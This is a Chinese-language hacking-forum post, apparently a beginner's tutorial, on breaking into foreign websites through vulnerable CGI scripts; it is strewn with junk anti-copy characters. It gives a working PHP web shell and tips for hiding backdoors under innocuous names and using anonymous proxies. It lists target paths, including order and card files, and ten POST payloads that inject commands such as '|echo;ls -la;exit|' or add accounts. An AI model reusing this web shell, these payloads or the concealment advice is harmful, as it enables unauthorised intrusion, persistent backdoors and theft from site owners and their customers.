CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
我会长长来玩的
: R3 V0 {  e9 H6 u4 C5 I前言:
4 f  f) o! h# S4 V以下讲解针对欧美日本网站
" r% T& ?8 m. @8 c. M, D當我們在做滲透分析的時候 方法有很多
4 e. d1 W; d+ w5 b9 ~8 a3 x* C我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

只是个人在实务上一些经验
# v2 ^1 ~! p( S9 R2 t1 ^写的不好 请多多见谅喔
% n& @, X/ ]) v/ g' D  ~' Y在这里我简单分为几个部份一定要會的
0 a0 h# h4 J% J8 i+ A1 p! y4 g讲解一下
: g% |6 _# C. w9 f1 ?2 [让没有基础的人很容易上手

1 `6 p4 `* p" v# y0 b以下内容跟帖回复才能看到
7 c; U- t3 m8 w6 r==============================
& Q* X* b! U! _5 g$ l# s0 C: O
+ @6 E  E1 P( |1 e- I第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
6 ~: `- M+ }) @意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
. z/ R( F9 [( [
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
( O7 }! K& L5 G% H4 L$ T所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
3 ?8 F& }/ ]" U% {
4 }$ c6 E6 m4 v, T. P( [第2部份: Unix 指令
: {7 F# p5 Z2 f! ^/ Z以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
* d+ u! F- T3 J: \) b7 Pls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
" B# E; v! x! `6 l' xls ../ -al: 详细列出上一层的资料夹及档案
9 P& P2 ^: N9 _2 ^0 L6 [cat: 显示档案内容
: I6 s. j5 K! l+ Tcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
: E% \2 ?8 G) k5 A1 {% v$ |+ Qwho: 显示谁login 至系统
man: 显示指令用法  
8 Y* z7 l7 _: C5 j( s2 o/ ]man ls: 显示ls这指令的用法  
$ o2 [- A% [7 @2 Mmkdir 建立目录
3 t5 D  i2 K# q/ v; J8 }* K8 z5 nrmdir 删除目录
% e6 ^4 P1 {% g; E! n. l5 C7 M7 o, |* Zmv 移动档案
) S7 x4 {; J& T3 X2 S" A$ w2 `# yrm 删除档案

) {; Z. t' x) i! `8 A( ^! _! w# D第3部份: Shell的使用
例如:
% b' i4 o  N& w  S# p0 Fhttp://site.com/refer.php
这是我的後门, 原代码如下:
+ X$ D. C# @2 g& ~+ W) q$ W6 Q0 a<Form Action="#" Method="POST">
" }, k" B2 [9 `5 d! }<Input type="text" name="cmd">
<Input type="Submit">
</Form>
<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
echo $Output;
' M" `: }5 @9 |4 x6 K6 D" E?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
$ |" m( `; `+ Y8 u' s
第4部份: 注意事项
- 使用匿名代理, 保障自己
# Y* V/ v4 Y+ v6 M! B3 J- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
0 r6 X& f" k; f7 Y' d7 i1 r1 m- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
2 K4 |# e9 l" a& Z+ i- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
8 B& K: w% u, l% j8 }" _不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
9 C2 z9 p/ v0 a+ R$ a这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
- F: M1 w! d; u3 w) v开始讲解脚本入侵过程:
. `7 Y" r; f: c& b  w" k在这里提供一些方法思路让大家学习一下

( V0 T- f' y; L1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
) a8 ?: v, \% i/ J" ~( ^: d扫洞工具 如:triton..等等
E表
如
8 `4 S, `, Y, A8 d; k, Z/cgi-bin/add-passwd.cgi
  \4 H" O( @1 J$ e( ~/WebShop/templates/cc.txt
' `2 ]* \2 _' \3 n2 r! L- w- n/Admin_files/order.log
6 q- W( C1 r, z( S5 q" P: q6 a/orders/mountain.cfg
8 f/ L! o- y) h. R1 t" J$ d/cgi-sys/cart.pl
3 K; R% Y, H4 u/scripts/cart.pl
: a0 y6 R- T5 J+ ]- N/htbin/cart.pl
  J7 I( Q7 N# S$ ?E表来源可以是网路收寻或是自己的0 day
6 v4 s2 W, _0 d5 n
2.怎样确认扫到的洞 是真的还假的?
+ H" ~6 ?# c: ~; [举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
1 [- T2 z! [$ @# K2 h0 E; {一般都是在IE里先看一下的,记住这个返回码哦
ERROR:This script should be referenced with a METHOD of POST.
) _8 a- K4 h+ E& C1 u: X' |没有返回一定是假的
* o3 w7 W. U6 T( }% O* V8 V3.重来来了 很多人都会问我
, y  n4 T& d: T8 e, w他扫到很多洞 但是不会使用
/ D# G  m+ s, B; q" {因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
7 A4 z0 q) J' R
以下我提供10个 cgi 洞以及使用方法post
9 j$ k4 W' F8 c$ N6 A6 P: t让大家可以针对网站去做扫描  
/index.cgi
' o( V" v* C# z5 D* q" Iwei=ren&gen=command
/passmaster.cgi
, h& S& c; U$ MAction=Add&Username=Username&Password=Password
% Q( ], k9 T& b% m0 M; I% c/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
& K) c/ g' F( t0 Buser=username&pass=Password&confirm=Password
/ccbill-local.asp
' y! I7 b$ f! X- U: rpost_values=username:password
: q$ j; j! ~9 h2 ]$ L( u. W/count.cgi
pinfile=|echo;ls -la;exit|
- s$ _5 ^8 K* c! z9 o1 C4 I$ @/recon.cgi
/recon.cgi?search
4 V: k! V6 P+ B( asearchoption=1&searchfor=|echo;ls -al;exit|
! r/ G* Q3 u8 I. a5 r- G/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
4 ~4 x: c4 Q* C) S- u3 K/af.cgi_browser_out=|echo;ls -la;exit;|
' Q. G, w* h* `! i8 v
; }. D" p0 ^8 D/ J今天就讲到这  感谢大家支持